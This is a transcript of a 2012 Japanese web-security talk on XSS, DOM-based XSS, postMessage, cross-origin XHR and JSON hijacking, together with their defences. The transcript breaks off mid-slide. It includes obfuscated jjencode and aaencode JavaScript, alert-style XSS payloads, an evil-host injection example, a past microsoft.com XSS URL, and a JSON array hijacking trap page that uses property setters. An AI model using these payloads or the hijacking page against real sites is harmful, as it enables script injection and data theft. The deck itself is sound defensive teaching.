HTML5時代のWebセキュリティ - UTF-8.jp

Download Report

Transcript HTML5時代のWebセキュリティ - UTF-8.jp

HTML5時代の
Webセキュリティ
Jul 21 2012
Yosuke HASEGAWA
自己紹介
はせがわようすけ
ネットエージェント株式会社
株式会社セキュアスカイ・テクノロジー 技術顧問
Microsoft MVP for Consumer Security Oct 2005 http://utf-8.jp/
セキュリティキャンプ Webセキュリティクラス講師
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
これまでに調べた脆弱性
Webブラウザ、Webアプリケーションを中
心にいろいろ…












CVE-2007-0995
CVE-2007-1262
CVE-2007-2227
CVE-2008-0416
CVE-2008-1468
CVE-2008-5808
CVE-2010-1213
CVE-2010-3348
CVE-2010-3770
CVE-2011-1339
CVE-2011-3384
CVE-2011-3648
...
security-mikan techtalk #5
XSS of Mozilla Firefox
XSS of SquirrelMail
XSS of Internet Explorer
XSS of Mozilla Firefox
XSS of Namazu
XSS of Movable Type
Cross-origin data disclosure of Mozilla Firefox
Cross-origin data disclosure of Internet Explorer
XSS of Mozilla Firefox
XSS of Google Search Appliance
XSS of Sage
XSS of Mozilla Firefox
NetAgent http://www.netagent.co.jp/
難読化 JavaScript
Obfuscated JavaScript
記号JavaScript
JS without alnum
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:+
+$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$_
_:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$}
;$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$
])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($.
_=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$
._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\"
"+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\
\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$
._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$
.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_
+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\"\
\"+$.$__+$.___+")"+"\"")())();
jjencode - http://utf-8.jp/public/jjencode.html
顔文字JavaScript
JS with emoticons
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)=
(o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o (゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] =
((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚)
['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_')
[゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+
((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚
ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_')
[゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ
+'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) +
(゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o)
+(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+
(゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚
Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+
(c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)
[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)a+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)
[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚
Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)
[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)
[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
aaencode - http://utf-8.jp/public/aaencode.html
質問
Question
質問 : Web技術、好きですか?
Q. Do you love web technologies?
クロスサイトスクリプティング
強制ブラウズ
書式文字列攻撃
リモートファイルインクルード
SQLインジェクション
パストラバーサル
LDAPインジェクション
バッファオーバーフロー
CSRF
セッションハイジャック
質問 : Web技術、好きですか?
Q. Do you love web technologies?
OSコマンドインジェクション
オープンリダイレクタ
DoS
セッション固定攻撃
HTTPレスポンス分割
XPathインジェクション
メモリリーク
HTTPヘッダインジェクション
Web技術、好きですか?
「はい」に挙手した人
かなり打たれ強い
or
攻撃者
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
HTML5時代のWebアプリ
HTML5時代のWebアプリ
次々とリリースされるブラウザ
多数の新しい要素と属性
canvas, video, audio, input…
多数の新しいAPI
Web Sockets, Web Storage, XHR Lv.2…
最適化されたJavaScriptエンジン
高速化された描画エンジン
どのブラウザにどの機能が実装されてい
るのか把握できない
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
次々とリリースされるブラウザ
2001
2001
2003
2004
2005
2006
6
2007
2008
2009
7
1.0
1.5
2.0
1
6
security-mikan techtalk #5
7
2
8
3
9
2011
8
3.0
23
5
10
10
15
2 3 4 5
4
2012
9
3.6
3.5
1
5
2010
11
6
12
NetAgent http://www.netagent.co.jp/
HTML5の新機能
マルチメディアのサポート
<video> <audio> <canvas>...
文書構造を表す要素
<section> <header> <footer> ...
フォームの拡張
<input type="email"> ...
JavaScript API
Web Workers, WebSocket, File...
その他…
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
HTML5時代のWebアプリ
HTML5時代のブラウザ
高速化、高機能化
実行コードのブラウザ上へのシフト
ネイティブアプリからWebアプリへ
サーバ側で実行されていた処理がブラウザの
JavaScript上へ
攻撃もクライアントサイドへシフト
JavaScript上の問題点の増加
XSSやCSRFなどの比重が増加
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
HTML5時代のWebアプリ
攻撃もクライアントサイドへシフト
JavaScriptを通じた攻撃の比重が増加
XSSのリスクも増加
“
多くの点から見て、XSS 脆弱性の危険性
はバッファ オーバーフローに匹敵しま
す。
”
セキュリティに関するブリーフィング : Web に対する SDL の適用
http://msdn.microsoft.com/ja-jp/magazine/cc794277.aspx
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
そもそもXSSって?
→簡単におさらい
XSSおさらい
対象
動的にHTMLを生成するWebアプリ
問題
攻撃者が用意したスクリプトがHTML内に挿
入される
対策
HTMLを生成する時点でエスケープ
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSおさらい
http://shop.example.com/
?item="><script>...
攻撃者
被害者
GET /?item="><script>...
<input type="text"
value=""><script>...
HTMLを生成するときの
エスケープ漏れ
security-mikan techtalk #5
オンラインショップなど
NetAgent http://www.netagent.co.jp/
XSSおさらい
http://shop.example.com/
?item="><script>...
攻撃者
被害者
GET /?item="><script>...
<input type="text"
value=""><script>...
反射型XSS
ユーザの送信内容をそのまま表示する
オンラインショップなど
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSおさらい
攻撃者
被害者
Subject: test mail
<html><script>...
HTMLを生成するときの
エスケープ漏れ
security-mikan techtalk #5
Subject: test mail
<html><script>...
Webメールなど
NetAgent http://www.netagent.co.jp/
XSSおさらい
攻撃者
被害者
Subject: test mail
<html><script>...
Subject: test mail
<html><script>...
持続型/蓄積型XSS
HTMLを生成するときの
攻撃者のスクリプトはサーバ内で保持されている
Webメールなど
エスケープ漏れ
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSおさらい
対象
動的にHTMLを生成するWebアプリ
問題
攻撃者が用意したスクリプトがHTML内に挿
入される
対策
HTMLを生成する時点でエスケープ
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
大原則
HTMLを生成する時点で
エスケープ
って何だっけ?
→ おさらい
XSSおさらい
HTMLを生成する時点でエスケープ!
< → &lt;
> → &gt;
" → &quot;
' → &#39;
& → &amp;
<html>
&lt;
&gt;
データ
security-mikan techtalk #5
処理
HTML生成
ユーザ
NetAgent http://www.netagent.co.jp/
エスケープの例外
href、src等のURLの動的生成
<a href="javascript:alert(1)">
<iframe src="data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
http以外のスキームに注意
JavaScript内の動的生成
<script>
var s="</script><script>alert(1)//";
</script>
JS内の文字列リテラルはHTMLとは異なるエ
スケープ
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSおさらい
HTMLを生成する時点でエスケープ
コンテキスト(文脈)に応じたエスケープ
コンテキストが入れ子になっているときはエス
ケープも入れ子に。
<div onclick="foo('\u0022><script>…');">
URLの動的生成
href、src等はhttp,https限定とする
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
やってはいけない
XSS対策
やってはいけないXSS対策
入力時のサニタイズ
< → &lt;
> → &gt;
" → &quot;
' → &#39;
& → &amp;
データ サニタイズ
security-mikan techtalk #5
<html>
&lt;
&gt;
処理
HTML生成
ユーザ
NetAgent http://www.netagent.co.jp/
やってはいけない:入力時のサニタイズ
入力時点でのデータの加工はプログラム
規模が大きくなると破綻する
「サニタイズ」という語が本来の意味を
失って意味不明になっている
続きはWebで
サニタイズ言うな
security-mikan techtalk #5
検索
NetAgent http://www.netagent.co.jp/
XSSの種類
XSSの種類
反射型XSS / Type-1
ユーザからの送信内容をそのまま表示
XSSフィルタ等である程度防御
お問い合わせフォーム、サイト内検索
持続型XSS / Type-2
攻撃者のスクリプトがサーバ内で保持
掲示板、Webメール
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSの種類
反射型XSS / Type-1
ユーザからの送信内容をそのまま表示
XSSフィルタ等である程度防御
お問い合わせフォーム、サイト内検索
持続型XSS / Type-2
攻撃者のスクリプトがサーバ内で保持
掲示板、Webメール ※GETだけでなくPOSTもあり得る
GET /?item="><script>...
<input type="text"
value=""><script>...
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSの種類
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSの種類
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSの種類
XSSフィルターはリクエストとレスポンス
両方に同じスクリプトが含まれると反応
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSの種類
反射型XSS / Type-1
ユーザからの送信内容をそのまま表示
XSSフィルタ等である程度防御
お問い合わせフォーム、サイト内検索
持続型XSS / Type-2
攻撃者のスクリプトがサーバ内で保持
掲示板、Webメール
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSの種類
反射型XSS / Type-1
ユーザからの送信内容をそのまま表示
XSSフィルタ等である程度防御
お問い合わせフォーム、サイト内検索
持続型XSS / Type-2
攻撃者のスクリプトがサーバ内で保持
掲示板、Webメール
security-mikan techtalk #5
Subject: test
Subject: test
<script>...
<script>...
NetAgent http://www.netagent.co.jp/
XSSの種類
持続型XSS / Type-2
2006年6月 mixi「こんにちはこんにちは」
2007年8月 Twitter「こんにちはこんにち
は」
2010年9月 Twitter
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSの種類
反射型XSS / Type-1
ユーザからの送信内容をそのまま表示
XSSフィルタ等である程度防御
お問い合わせフォーム、サイト内検索
//http://example.jp/#<script>alert(1)</script>
div.innerHTML =/location.hash;
持続型XSS
Type-2
攻撃者のスクリプトがサーバ内で保持
掲示板、Webメール
DOM based XSS / Type-0
JavaScriptが引き起こす
サーバ側のHTML生成には問題なし
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
DOM based XSS
DOM based XSS
JavaScriptが引き起こすXSS
サーバ側のHTML生成時には問題なし
JavaScriptによるHTMLレンダリング時の問題
//http://example.jp/#<script>alert(1)</script>
div.innerHTML = location.hash;
JavaScriptの利用に合わせて増加
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
DOM based XSS
location.hashを使ったXSSの場合、サーバ側に攻撃の
詳細が残らない
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
ここまでXSSの復習です!
HTML5が生む脆弱性
HTML5が生む脆弱性
Cross-Site Scripting(XSS)
要素、属性、イベントが増えている
Cross-Document Messaging(XDM)
クロスドメインでのドキュメント間通信
XMLHttpRequest(XHR) Lv.2
クロスドメインでの読み込み
Ajaxデータを利用した攻撃
XSS、データの盗み見
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
HTML5が生む脆弱性
Cross-Site Scripting(XSS)
要素、属性、イベントが増えている
Cross-Document Messaging(XDM)
クロスドメインでのドキュメント間通信
XMLHttpRequest(XHR) Lv.2
クロスドメインでの読み込み
Ajaxデータを利用した攻撃
XSS、データの盗み見
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSS
これまでの間違ったXSS対策
危険そうな要素を検出
<script> <object> <iframe>
onXXX、hrefなどの名称の属性を検出
<div onmouseover=alert(1)>
<img src=# onerror=alert(1)>
<a href="javascript:alert(1)>
これまで仮にこの方法で網羅できていた
としても…
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSS
HTML5で多数の要素、属性、イベントが
導入
<input autofocus pattern="...">
<video onplay="...">
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSS
いわゆる「ブラックリスト」での対応に
漏れ
<form>
<button formaction="javascript:alert(1)">X
</button>
//http://html5sec.org/#72
そもそもブラックリスト方式は無理がある
「HTML生成時にエスケープ」の原則
HTML5と関係なくXSSを防げる
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
DOM based XSS
DOM based XSSは増えている
JavaScriptの大規模化に伴い増加
サーバ側での対策と原則は同じ
HTML生成時にエスケープ
URL生成時はhttp(s)のみ
backgroundImageへの代入やイベントハ
ンドラの動的生成は避ける
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
DOM based XSS
HTML生成時にエスケープ
div.innerHTML = s.replace( /&/g, "&amp;" )
.replace( /</g, "&lt;" )
.replace( />/g, "&gt;" )
.replace( /"/g, "&quot;" )
.replace( /'/g, "&#x27;" );
むしろtextNodeを使おう!
div.appendChild(
document.createTextElement( s )
);
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
DOM based XSS
URL生成時はhttp(s)のみ
if( url.match( /^https?:\/\// ) ){
a.setAttribute( "href", url );
}
var base =
location.protocol + "//" + location.host + "/";
if( url.substring( 0, base.length ) == base ){
location.href = url;
}
オープンリダイレクタを発生させないよう
同一ホストに制限
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
DOM based XSS
// bad code
div.innerHTML = '<a href="' + url + '">' + url + '</a>';
if( url.match( /^https?:\/\// ) ){
var elm = docuement.createElement( "a" );
elm.appendChild( document.createTextNode( url ) );
elm.setAttribute( "href", url );
div.appendChild( elm );
}
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
HTML5が生む脆弱性
Cross-Site Scripting(XSS)
要素、属性、イベントが増えている
Cross-Document Messaging(XDM)
クロスドメインでのドキュメント間通信
XMLHttpRequest(XHR) Lv.2
クロスドメインでの読み込み
Ajaxデータを利用した攻撃
XSS、データの盗み見
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XDM
Cross-Document Messaging
ブラウザのwindow/iframe間で相互に通信
http://example.com/
iframe1.contentWindow.postMessage( "..." );
<iframe id="iframe1">
http://example.jp/
window.onmessage=function( ){
}
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XDM
Cross-Document Messaging
// メッセージ送信側
iframe1.contentWindow.postMessage( "メッセージ" )
// メッセージ受信側 (iframe内に表示)
window.onmessage = function( e ){
if( e.origin == "http://example.jp/" ){
alert( e.data );
}
}
正規の相手以外と通信しないようにoriginを必ず確認する
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
HTML5が生む脆弱性
Cross-Site Scripting(XSS)
要素、属性、イベントが増えている
Cross-Document Messaging(XDM)
クロスドメインでのドキュメント間通信
XMLHttpRequest(XHR) Lv.2
クロスドメインでの読み込み
Ajaxデータを利用した攻撃
XSS、データの盗み見
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XHR Lv.2
XMLHttpRequest
かつては同一オリジンへのリクエストしかで
きなかった
プロトコル + ホスト + ポート
var xhr = new XMLHttpRequest();
xhr.open( "GET", "http://example.jp/", true );
xhr.onreadystatechange = function(){
if( xhr.readyState == 4 && xhr.status == 200 ){
alert( xhr.responseText );
}
}
xhr.send( null );
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XHR Lv.2
XMLHttpRequest
現在はクロスドメインでのリクエストが可能
base.example.jp
another.example.jp
HTML
GET / HTTP/1.1
Host: another.example.jp
Origin: http://base.example.jp/
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XHR Lv.2
XHRを利用する側は、任意ドメインから
のデータを読まないようにチェック
// bad code: http://example.jp/#/foo/bar.txt
var url = location.hash.substring(1);
var xhr = new XMLHttpRequest();
xhr.open( "GET", url, true );
xhr.onreadystatechange = function(){
if( xhr.readyState == 4 && xhr.status == 200 ){
div.innerHTML = xhr.responseText;
}
}
xhr.send( null );
http://example.jp/#http://evil.example.jp/
などの指定で任意コンテンツを挿入可能
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XHR Lv.2
XHRを利用する側は、任意ドメインから
のデータを読まないようにチェック
// bad code: http://example.jp/#/foo/bar.txt
var url = location.hash.substring(1);
var xhr = new XMLHttpRequest();
xhr.open( "GET", url, true );
xhr.onreadystatechange = function(){
if( xhr.readyState == 4 && xhr.status == 200 ){
div.innerHTML = xhr.responseText;
}
}
xhr.send( null );
http://example.jp/#http://evil.example.jp/
などの指定で任意コンテンツを挿入可能
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XHR Lv.2
XHRを利用する側は、任意ドメインから
のデータを読まないようにチェック
// http://example.jp/#/foo/bar.txt
var url = location.hash.substring(1);
if( url.match( /^\/\w/ ) ){
var xhr = new XMLHttpRequest();
xhr.open( "GET", url, true );
...
}
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XHR Lv.2
サーバ側:特定の相手にのみ応答を許可
GET / HTTP/1.1
Host: another.example.jp
Origin: http://base.example.jp/
リクエスト
レスポンス
HTTP/1.1 200 OK
Access-Control-Allow-Origin: htp://base.example.jp
サーバ側はリクエストのOriginヘッダを見て
相手を判別してはいけない
Originヘッダは偽装されている可能性がある。
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XHR Lv.2
サーバ側:特定の相手にのみ応答を許可。
JSで明示的に指定した場合のみCookieが送
信される
xhr.withCredentials = true; // JavaScript内
GET / HTTP/1.1
Host: another.example.jp
Origin: http://base.example.jp/
Cookie: sessionid=A251BBCA
リクエスト
HTTP/1.1 200 OK
レスポンス
Access-Control-Allow-Origin: htp://base.example.jp
Access-Control-Allow-Credentials: true
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XHR Lv.2
サーバ側:特定の相手にのみ応答を許可。
リクエストヘッダに「秘密の情報」を含める
xhr.setRequestHeader( "X-Secret-Key", "A251BBCA" );
サーバ側はリクエストヘッダ内の情報を確認
して正規の通信相手か判断
クロスドメインでのsetRequestHeaderは
癖があるので注意
事前にOPTIONS要求が発行(preflight)
https://developer.mozilla.org/en/http_access_control
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
HTML5が生む脆弱性
Cross-Site Scripting(XSS)
要素、属性、イベントが増えている
Cross-Document Messaging(XDM)
クロスドメインでのドキュメント間通信
XMLHttpRequest(XHR) Lv.2
クロスドメインでの読み込み
Ajaxデータを利用した攻撃
XSS、データの盗み見
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用した攻撃
Ajaxでの利用増加
HTML5とは直接は関係ない
Ajaxデータを利用したXSS
Ajaxでやり取りされるデータ(JSON,text,
csv etc..)を直接ブラウザ上で開いたときに
XSS
Ajaxデータの盗み見
機密情報を含むAjaxデータを受動的攻撃によ
り攻撃者が盗み見る
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用した攻撃
Ajaxでの利用増加
HTML5とは直接は関係ない
Ajaxデータを利用したXSS
Ajaxでやり取りされるデータ(JSON,text,
csv etc..)を直接ブラウザ上で開いたときに
XSS
Ajaxデータの盗み見
機密情報を含むAjaxデータを受動的攻撃によ
り攻撃者が盗み見る
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用したXSS
IEのContent-Type無視
HTMLではないものがHTMLに昇格して
XSS
例えばtext/plain
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用したXSS
IEは最終的に「ファイルタイプ」に基づいて
コンテンツを処理する
Content-Type 以外にも様々な要因から
ファイルタイプを決定
文書化されていない複雑なメカニズム
「ファイルのダウンロードダイアログで表示され
るファイル名の命名規則」
http://support.microsoft.com/kb/436153/ja
ファイルタイプ決定のメカニズム解明に近づく唯一のドキュメント
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用したXSS
ファイルタイプの決定因子
"Content-Type" HTTPレスポンスヘッダ
"X-Content-Type-Option" HTTPレスポ
ンスヘッダ
Windowsレジストリにおける関連付け
IEの設定:"拡張子ではなく、内容によって
ファイルを開く"
URL自身
コンテンツそのもの
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
IEにおけるファイルタイプ決定のメカニズム
Content-Typeがレジストリに登録されている? [ HKEY_CLASSES_ROOT\MIME\Database\Content Type ]
Y
N
ファイルタイプを仮決定
外部プラグイン/アプリが必要?
IE8+ && "X-Content-Type-Options:nosniff"?
Y
Y
プラグインを起動またはダウンロード
N
IE8+ && "X-Content-Type-Options:nosniff"?
Y
N
ダウンロード
仮決定したファイルタイプを使用
N
「拡張子ではなく、内容によって
ファイルを開く」設定値
有効
コンテンツをsniffしファイルタイプを決定
無効
仮決定したファイルタイプを使用
URLの拡張子が ".cgi" または ".exe" または "/" ?
Y
e.g. http://utf-8.jp/a.cgi?abcd, http://utf-8.jp/foo/
N
QUERY_STRINGからファイルタイプを
仮決定
URLの拡張子からファイルタイプを
仮決定
外部プラグイン/アプリが必要?
外部プラグイン/アプリが必要?
N
コンテンツをsniffし
ファイルタイプを決定
※これ以外にも例外的な挙動が多数あり
Y
プラグインを起動
またはダウンロード
N
コンテンツをsniffし
ファイルタイプを決定
Y
プラグインを起動
またはダウンロード
73
Yosuke HASEGAWA http://utf-8.jp/
Ajaxデータを利用したXSS
ファイルタイプ決定のメカニズムは、と
にかく複雑すぎる!
そもそも例外的な挙動が多い
いつのまにか挙動が変化していることも多い
Microsoft自身も挙動を把握しきれていない
のでは
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用したXSS
XSS実例
https://www.microsoft.com/en-us/homepage/
bimapping.js/a.html?v=<script>alert(1)</script>&k...
HTTP/1.1
200 OK
Content-Type: text/javascript; charset=utf-8
Date: Wed, 22 Jun 2011 13:53:37 GMT
Content-Length: 2092
var <script>alert(1)</script>={"Webtrends":{"enabled":true,"sett
ings":{"interactiontype":{"0":true,"1":true,"2":true,"3":true,"4":t
rue,"5":true,"6":true,"7":true,"8":true,"9":true,"10":true,"11":tr
ue,"12":true,"13"....
"text/javascript" はレジストリに未登録
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用したXSS
XSS実例
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用したXSS
AjaxコンテンツによるXSSは以下のよう
な状況で発生しやすい
JSON - JSON文字列内
{"text" :"<script>..." }
JSONP - callback名
http://example.com/?callback=<script>...
text, CSV - そもそもエスケープできない
対策の話はあとで。
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用した攻撃
Ajaxでの利用増加
HTML5とは直接は関係ない
Ajaxデータを利用したXSS
Ajaxでやり取りされるデータ(JSON,text,
csv etc..)を直接ブラウザ上で開いたときに
XSS
Ajaxデータの盗み見
機密情報を含むAjaxデータを受動的攻撃によ
り攻撃者が盗み見る
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータの盗み見
JavaScriptとして解釈可能なAjaxデータ
が狙われやすい
JavaScriptのsrcとして読み込む
<script src="target.json"></script>
<script src="target.csv"></script>
JSON
{"from" : "[email protected]"}
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータの盗み見
様々な手法でブラウザごとにJSONデータ
を奪取
JSON Array Hijacking for Android
JSON Hijacking for IE
JSON以外にもCSVなどは狙いやすい
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータの盗み見
様々な手法でブラウザごとにJSONデータ
を奪取
JSON Hijacking for Android
JSON Hijacking for IE
JSON以外にもCSVなどは狙いやすい
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Array Hijacking for Android
Androidでは、古いJSON Hijackingの
手法がまた通用する
PC用ブラウザでは2008年頃にはすでに根絶
Android 2.2, 2.3で確認
property setter の再定義
機密情報を含むJSON配列がターゲット
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Array Hijacking for Android
[
{ "name" : "alice", "mail" : "[email protected]" },
{ "name" : "bob", "mail" : "[email protected]" },
]
攻撃対象となるJSON : http://example.jp/target.json
<script type="text/javascript">
var s = "";
Object.prototype.__defineSetter__( "mail",
function( val ) { s += "mail:" + val + "\n"; } );
Object.prototype.__defineSetter__( "name",
function( val ) { s += "name:" + val + "\n"; } );
</script>
<script src="http://example.jp/target.json"></script>
攻撃者の作成した罠ページ
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータの盗み見
様々な手法でブラウザごとにJSONデータ
を奪取
JSON Hijacking for Android
JSON Hijacking for IE
JSON以外にもCSVなどは狙いやすい
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
JSON Hijacking for IE
IE6,IE7では特定条件下でJSONの奪取が
可能
攻撃者がJSON内に文字列を挿入可能
機密情報を含むJSONがターゲット
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
JSON Hijacking for IE
[
{
